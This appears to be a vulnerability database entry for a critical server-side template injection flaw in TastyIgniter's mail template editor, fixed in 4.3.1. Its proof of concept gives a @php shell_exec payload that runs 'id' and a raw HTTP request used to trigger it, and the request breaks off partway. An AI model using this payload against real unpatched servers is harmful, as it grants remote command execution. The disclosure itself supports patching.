← VULNERABILITIES

CVE-2026-69178

TastyIgniter mail template editor allows remote code execution via server-side template injection

Critical · 9.1Fix available
CVSS
9.1
EPSS
—
Published
2026-11-25
Age
3d old
Modified
2026-11-27
Product
Packagist tastyigniter/tastyigniter
Aliases
GHSA-743w-g9pf-8p94

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Description

### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo "RCE Executed";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: c

Fixed in

4.3.1

Affected packages

EcosystemPackageRangeFixed
Packagisttastyigniter/tastyigniter< 4.3.14.3.1
Packagisttastyigniter/tastyigniter>=0, <4.3.14.3.1

Sources

References

JSON